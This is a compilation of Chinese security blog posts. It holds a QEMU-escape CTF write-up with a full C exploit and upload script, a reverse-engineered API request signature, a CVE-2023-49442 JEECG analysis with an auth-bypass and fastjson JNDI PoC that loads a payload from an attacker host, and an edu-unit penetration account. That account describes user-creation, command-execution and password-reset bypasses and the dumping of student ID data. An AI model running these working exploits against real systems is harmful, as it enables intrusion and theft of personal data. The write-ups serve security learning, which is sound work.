0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops
0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque
0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container
0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 这里不知道是什么😭
0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size
0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr
0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 -> test0
0x55da2812efb0: 0x0000000000000000 -> 可以看到这里有一大片'\x00'
0x55da2812efb8: 0x0000000000000000 -> 我们可以把控制流劫持的指针
0x55da2812efc0: 0x0000000000000000 -> 放在这一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000
我们可以看到这就是 MemoryRegion,当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8),我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数
所以我们考虑这样的布置:
0x55da2812eef0(&test24) -> 0x55da2812efd8
0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B
[3] 完整 EXP
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char* mmio_base;
unsigned char* getMMIOBase(){
int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}
int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
mmio_write(0x10, -17*0x8);
uint64_t pie_low = mmio_read(0x20);
mmio_write(0x10, -17*0x8 + 0x4);
uint64_t pie_high = mmio_read(0x20);
uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;
printf("pie = 0x%llx\n", pie);
getchar();
mmio_write(0x10, -10*0x8);
uint64_t heap_low = mmio_read(0x20);
mmio_write(0x10, -10*0x8 + 0x4);
uint64_t heap_high = mmio_read(0x20);
uint64_t heap = heap_low + (heap_high << 32);
printf("heap = 0x%llx\n", heap);
uint64_t backdoor = pie + 0x67429B;
uint64_t system_plt_addr = heap + 0x60 + 8;
uint64_t cmdaddr = heap + 0x58 + 8;
getchar();
mmio_write_idx(8,0x20746163);
mmio_write_idx(12,0x67616C66);
mmio_write_idx(16,backdoor & 0xffffffff);
mmio_write_idx(20,backdoor >> 32);
mmio_write_idx(24,system_plt_addr & 0xffffffff);
mmio_write_idx(28,system_plt_addr >> 32);
mmio_write_idx(32,cmdaddr & 0xffffffff);
mmio_write_idx(36,cmdaddr >> 32);
getchar();
for(int i = 40;i <= 60 ;i += 4 )
{
mmio_write_idx(i,0);
}
getchar();
mmio_write(0x10,-0xc0);
getchar();
mmio_write(0x30,system_plt_addr);
getchar();
mmio_read(0);
return 0;
}
[4] exp.c 如何食用?
# exp.py
from pwn import *
import time, os
context.log_level = "debug"
p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")
f = open("./b64_exp", "r")
p.sendline()
p.recvuntil("~ #")
p.sendline("echo '' > b64_exp;")
count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("~ #")
count += 1
f.close()
p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
p.interactive()
[5] 结语
本来以为 QEMU 是我走向内核态的第一步,但当我用 gdb 把它调起来的时候才发现,QEMU 也只是操作系统上的一个程序,跟我们平时打的用户态区别不大,也是 leak 然后劫持控制流去 getshell
但虚拟化和QEMU知识的缺失也让我“架空学习”,勿以浮沙筑高台,有时间还是要回过头来把基础筑牢的,现在对这道题理解的抽象程度还是太高了,应该继续打开它、研究它。
[实战]API防护破解之签名验签
前言:
传统的接口在传输的过程中,是非常容易被抓包进行篡改,从而进行中间人攻击。
这时候我们可以通过对参数进行签名验证,如果参数与签名值不匹配,则请求不通过,直接返回错误信息,从而防止黑客攻击或者大大增加了黑客攻击的成本。
白帽子在挖洞的时候也经常会遇到这种情况,大多数不会逆向的白帽子则会放弃这些有着攻击成本的接口。大多数也会有这样子的想法,这些个接口都加了防护了,说明厂商对这个接口挺重视的,肯定做了安全检测,自然是不可能有洞可捡了。反过来想,厂商正是因为加了防护从而对代码疏忽了,所以这些地方恰好就是挖逻辑漏洞的突破口。
平台:aHR0cHM6Ly93d3cudnVsYm94LmNvbS8=
厂商:某企业src
正文:
开局一个搜索框
输入值抓包,接口携带了一个sign参数。
技巧
此处有两种方法逆向找出对应的加密点
第一种是笨方法,直接搜索对应的sign值去找到其加密的关键位置。
第二种是找到发包的地方,一直跟栈到明文加密的地方。
搜索sign,网站里面出现了很多sign关键词,不利于我们进行逆向分析
从查看请求发起的相关进程(脚本)去进行发包跟栈
进入发包的地方打断点。
回溯跟栈,找找有没有比较显眼的关键词。
大概跟了几个栈找到了sign关键词,但是并不确定这个地方的sign参数是不是我们发包的那个sign参数,打下断点盲测一下。
再次发包的时候,断点断住了。这个sign参数是一个f对象的一个函数,并不是一个sign参数值。而我们想要找到的是sign参数值,经过猜测,这个断点能够在携带sign参数的那个发包时断住,就肯定与sign参数有关。直接进入函数内部查看。
映入眼帘的是一个f函数,将断点断到返回值的地方,查看一下返回值是什么呢。
在控制台打印一下返回值。很眼熟,很像我们发包的时候携带的参数
分析一下f函数,看看sign参数在哪里生成的。
sign是在5790行被赋值的。
可以看出sign参数是appSignKey,keyword,noncestr,serverTimestamp,source,timestamp拼接之后传进了s函数生成的。除了appSignKey是代码生成的,其余都是发包里面携带的明文。
appSignKey参数
从f函数里面代码可以分析出,appSignKey是由n赋值的,n又是由c经过一段三元表达式生成的。c是一段字符串,直接上手扣代码。
生成n的三元表达式用到了arguments,直接到浏览器复制arguments
var c = "10f6cf80184377cd5487b4746a8a67da17540449fa40b408f13ccdd3d3059cb394c0e1569043eed2"
arguments = {
"0": {
"keyword": "A型胸腺瘤",
"source": 1,
"serverTimestamp": 1706072080923
},
"1": "4bTogwpz7RzNO2VTFtW7zcfRkAE97ox6ZSgcQi7FgYdqrHqKB7aGqEZ4o7yssa2aEXoV3bQwh12FFgVNlpyYk2Yjm9d2EZGeGu3"
}
var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : c
console.log("appSignKey--->"+n)ole.log(n)
sign参数
有了appSignKey参数,就可以与发包参数拼接传进s函数。
appSignKey=4bTogwpz7RzNO2VTFtW7zcfRkAE97ox6ZSgcQi7FgYdqrHqKB7aGqEZ4o7yssa2aEXoV3bQwh12FFgVNlpyYk2Yjm9d2EZGeGu3&keyword=A型胸腺瘤&noncestr=20565646&serverTimestamp=1706072080923&source=1×tamp=1706081268690
看一眼就知道是md5加密,完结撒花。
结尾:
部分数据代码已做脱敏处理。
CVE-2023-49442 利用分析
1. 漏洞介绍
JEECG(J2EE Code Generation)是开源的代码生成平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于/api接口鉴权时未过滤路径遍历,攻击者可构造包含 ../的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest接口进行jndi注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。Jeccg官方地址为:https://gitee.com/jeecg/jeecg
2. 漏洞流程图分析
3. 环境搭建
由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用IDEA+Maven搭建,但是始终飘红报错,于是老老实实地按照官方文档使用eclipse+Maven环境搭建,我的本地配置如下:
官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933
最新版eclipse
apache-maven-3.1.1-bin
JDK1.8_102(这里有个坑就是jdk1.8不能与tomcat6兼容,我们运行时候要使用tomcat7:run的命令)
Mysql5.7
Kali虚拟机(充当vps的功能)
4. 漏洞详情分析
由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是1.2.31,是属于存在漏洞的版本。
感觉Eclipse审计起来不太方便,我使用IDEA来代替使用来审计。
现在我们已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。
在审计Fastjson漏洞的时候我们着重关注parseObject和parse这两个关键词。我们在IDEA中按下Ctrl+shift+f进行查找:
发现调用了JSONObject.parseObject(result),发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java文件中进行了调用。分别是函数sendGet(String url, String param)以及sendPost(String url, String param)。
然后继续寻找在哪里调用了这两个函数:
同样的方法,发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java中调用了这两个函数:
/**
* 常用示例Demo:接口测试
* @param request
* @param response
* @return AjaxJson
*/
@RequestMapping(params = "interfaceTest")
@ResponseBody
public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
AjaxJson j=new AjaxJson();
try {
String serverUrl = request.getParameter("serverUrl");//请求的地址
String requestBody = request.getParameter("requestBody");//请求的参数
String requestMethod = request.getParameter("requestMethod");//请求的方式
if(requestMethod.equals("POST")){
if(requestBody !=""){
logger.info("----请求接口开始-----");
JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
logger.info("----请求接口结束-----"+sendPost);
j.setSuccess(true);
j.setObj(sendPost.toJSONString());
}else{
j.setSuccess(false);
j.setObj("请填写请求参数");
}
}
if(requestMethod.equals("GET")){
logger.info("----请求接口开始-----");
JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
logger.info("----请求接口结束-----"+sendGet.toJSONString());
j.setSuccess(true);
j.setObj(sendGet);
}
} catch (Exception e) {
j.setSuccess(false);
j.setObj("服务器请求失败");
e.printStackTrace();
}
return j;
}
这段代码接受三个参数:serverUrl、requestBody、requestMethod。然后根据requestMethod的值决定调用不同的方法:HttpRequest.sendPost 或 HttpRequest.sendGet。
我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法bypass:
然后我们根据漏洞简介定位/api未鉴权接口代码:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java
也就是说对于以 /api/ 开头的请求路径,即使用户未登录,也会被允许访问,不会被拦截器拦截。
加上我们查看引用的Maven依赖中的alwaysUseFullPath为值默认false,这样的话程序在处理发包中会对uri进行标准化处理。于是我们就可以使用/api/../的方式来进行bypass
比如说我们的poc链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest= 然后进行标准化处理后就会变成/jeecg/jeecgFormDemoController.do?interfaceTest= 从而绕过登录限制。
然后就是针对fastjson1.2.31版本的漏洞利用了,这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT
利用方法就是先在我们的Kali虚拟机(vps作用)上开启监听:
这里因为我的虚拟机上的java版本过高,Java 9及以上版本引入了模块化系统,其中的java.xml模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime包,因此导致com.feihong.ldap.template.TomcatEchoTemplate类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类。所以通过命令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.
java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131
然后用python公开一个poc.txt
然后直接调用该接口使用下面的Poc即可:
POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoami
serverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET
5. 总结
一开始准备复现这个漏洞是以为JEECG-BOOT爆这么大的前台RCE漏洞了,后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松,主要是老版本的环境Debug问题,通过本漏洞的复现学习,对fastjson漏洞和alwaysUseFullPath绕过鉴权漏洞有了更多的体会。
记一次某edu单位的渗透
0x01 信息收集
第一步当然是从信息收集开始,因为通常主域名基本不会含有高危漏洞。可以通过子域名->子域名端口扫描的方式去进行一个信息收集用来提高攻击面。这里是用fofa进行攻击面的扩大。(如果fofa脆弱系统较少可以自己爆破子域名+端口1-65535扫描的方式去进行渗透测试)。
然后把资产去重,可以使用关键词用来寻找一些存在漏洞概率高一些的系统。比如搜索有登录的系统,可以添加body="登录"这种关键字去进行查找。比如这里是找到了一个日志系统。
也可以通过googlehack进行搜索学号,身份证之类的信息。可以通过学号身份证这些信息用来登录某些系统,大部分的学校系统的口令格式是学号/身份证后6位。(这里随便找一个案例)
0x02 命令执行
可以根据通用系统的历史漏洞去对该系统进行渗透测试。
首先尝试默认口令进行登录 admin/panabit 未果。
然后建议百度搜索时间设置为一年内,可以省不少时间实际测试感觉一年之前的漏洞修复概率比较高。(可能是一年一次hvv的原因?)
也可以用微信的公众号搜索,比较推荐,因为准确率比较高,都是一些新出的漏洞。
然后使用任意用户创建漏洞添加一个用户
POST /singleuser_action.php HTTP/1.1
Host: xxxx
Cookie: xxxx
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="92"
Accept: */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: xxxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 574
{ "syncInfo": { "user": { "userId": "001", "userName":
"001", "employeeId": "001", "departmentId": "001",
"departmentName": "001", "coporationId": "001",
"corporationName": "001", "userSex": "1", "userDuty": "001",
"userBirthday": "001", "userPost": "001", "userPostCode":
"001", "userAlias": "001", "userRank": "001", "userPhone":
"001", "userHomeAddress": "001", "userMobilePhone": "001",
"userMailAddress": "001", "userMSN": "001", "userNt": "001",
"userCA": "001", "userPwd": "001", "userClass": "001",
"parentId": "001", "bxlx": "001" },"operationType":
"ADD_USER" } }
成功登录后台
然后使用后台命令执行进行getshell,成功进入内网。系统维护->终端命令
0x03 内网渗透
首先使用fscan扫描一波内网。
其中有个ftp弱口令,这里stuinfo.sql可能是某个数据库的备份文件。根据名字猜测是学生信息的备份。
下载之后导入本地数据库打开,果然泄露了一堆身份证,学号这些信息。
之后还在另外一个back文件夹中发现了另外一个xls表格,
ssh弱口令一堆,随便
h3c默认密码登录
0x04 任意密码找回
这里是另外一个外网系统。因为内网属实是没啥东西所以又得重新去外网找找有没有其他漏洞。
确定存在用户,输入用户名会发送一个包,不存在用户返回0,存在返回1
点击忘记密码,随便输入密保问题跟答案。
Burp抓包,将验证返回包中的false改为true。
然后就发现跳转到了修改密码的页面
这时直接修改一波密码,ok成功登录
0x05 总结
主要内网的一些问题还是弱口令使用较多,而且老版本的漏洞基本不修复的问题。另外一提进行渗透测试必须获得目标单位的合法授权,并且在合规框架下进行。在任何情况下,未经授权的渗透测试行为都是违法的,可能导致严重的法律后果。因此,在进行任何安全测试之前,请务必与目标单位达成明确的协议和授权。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

